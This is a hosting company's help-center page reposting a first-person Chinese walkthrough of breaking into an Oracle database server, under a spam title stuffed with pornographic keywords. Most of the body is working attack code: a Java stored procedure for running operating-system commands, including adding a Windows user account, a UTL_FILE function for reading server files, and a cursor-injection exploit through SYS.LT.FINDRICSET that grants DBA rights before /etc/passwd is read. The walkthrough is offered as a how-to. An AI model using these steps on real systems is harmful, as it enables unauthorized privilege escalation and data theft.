亚洲综合社区欧美综合色-欧美逼逼一区二区三区-国产老熟女高潮精品网站-国产日韩最新视频在线看

始創(chuàng)于2000年 股票代碼:831685
咨詢熱線:0371-60135900 注冊有禮 登錄
  • 掛牌上市企業(yè)
  • 60秒人工響應
  • 99.99%連通率
  • 7*24h人工
  • 故障100倍補償
全部產品
您的位置: 網站首頁 > 幫助中心>文章內容

入侵Oracle服務器進一步獲取權限

發(fā)布時間:  2012/8/13 16:16:09

很快便連接上Oracle服務器,此時發(fā)現(xiàn):

  1.連接后不是dba權限

  2.不能利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES漏洞提升權限

  3.運行SELECT UTL_HTTP.request(‘http://xxxxxxxxxxx/login.jsp’) FROM dual 后發(fā)現(xiàn)Oracle服務器不能連接網絡。
-
 

  幸運的是,

  運行

  create or replace function Linx_Query (p varchar2) return number authid current_user is begin execute immediate p; return 1;end;

  成功!這個用戶具有create proceduce權限。

  此時馬上想到創(chuàng)建java擴展執(zhí)行命令:

  create or replace and compile java source named “LinxUtil” as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=”";while ((stemp = myReader.readLine()) != null) str +=stemp+” “;myReader.close();return str;} catch (Exception e){return e.toString();}}}

  begin dbms_java.grant_permission(‘PUBLIC’, ‘SYS:java.io.FilePermission’, ‘<>’, ‘execute’ );end;

  create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ‘LinxUtil.runCMD(java.lang.String) return String’

  select * from all_objects where object_name like ‘%LINX%’

  grant all on LinxRunCMD to public

  select LinxRunCMD(‘cmd /c net user linx /add’) from dual

  但是在第一步就卡住了,服務器由于某種未知原因 不能創(chuàng)建java擴展!!

  還好,我們還有UTL庫可以利用:

  create or replace function LinxUTLReadfile (filename varchar2) return varchar2 is

  fHandler UTL_FILE.FILE_TYPE;

  buf varchar2(4000);

  output varchar2(8000);

  BEGIN

  fHandler := UTL_FILE.FOPEN(‘UTL_FILE_DIR’, filename, ‘r’);

  loop

  begin

  utl_file.get_line(fHandler,buf);

  DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||buf);

  exception

  when no_data_found then exit;

  end;

  output := output||buf||chr(10);

  end loop;

  UTL_FILE.FCLOSE(fHandler);

  return output;

  END;

  UTL_FILE_DIR需要先用:

  CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS ‘/etc’;

  指定目。但運行后發(fā)現(xiàn)沒有權限。只好想辦法提權。

  ***************游標注射***************

  老外寫了N個pdf介紹這技術,我精簡了代碼:

  DECLARE

  MYC NUMBER;

  BEGIN

  MYC := DBMS_SQL.OPEN_CURSOR;

  DBMS_SQL.PARSE(MYC,’declare pragma autonomous_transaction; begin execute immediate ”GRANT DBA TO linxlinx_current_db_user”;commit;end;’,0);

  DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);

  BEGIN SYS.LT.FINDRICSET(‘.”||dbms_sql.execute( ‘||MYC||’ )||””)–’,'x’); END;

  raise NO_DATA_FOUND;

  EXCEPTION

  WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);

  WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);

  END;

  運行后重新連接就有dba權限了,簡單吧……

  現(xiàn)在可以讀取文件了:

  CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS ‘/etc’;

  select LinxUTLReadfile(‘passwd’) from dual

  后面就簡單了,不寫了。


本文出自:億恩科技【1tcdy.com】

服務器租用/服務器托管中國五強!虛擬主機域名注冊頂級提供商!15年品質保障!--億恩科技[ENKJ.COM]

  • 您可能在找
  • 億恩北京公司:
  • 經營性ICP/ISP證:京B2-20150015
  • 億恩鄭州公司:
  • 經營性ICP/ISP/IDC證:豫B1.B2-20060070
  • 億恩南昌公司:
  • 經營性ICP/ISP證:贛B2-20080012
  • 服務器/云主機 24小時售后服務電話:0371-60135900
  • 虛擬主機/智能建站 24小時售后服務電話:0371-60135900
  • 專注服務器托管17年
    掃掃關注-微信公眾號
    0371-60135900
    Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權所有  地址:鄭州市高新區(qū)翠竹街1號總部企業(yè)基地億恩大廈  法律顧問:河南亞太人律師事務所郝建鋒、杜慧月律師   京公網安備41019702002023號
      1
     
     
     
     

    0371-60135900
    7*24小時客服服務熱線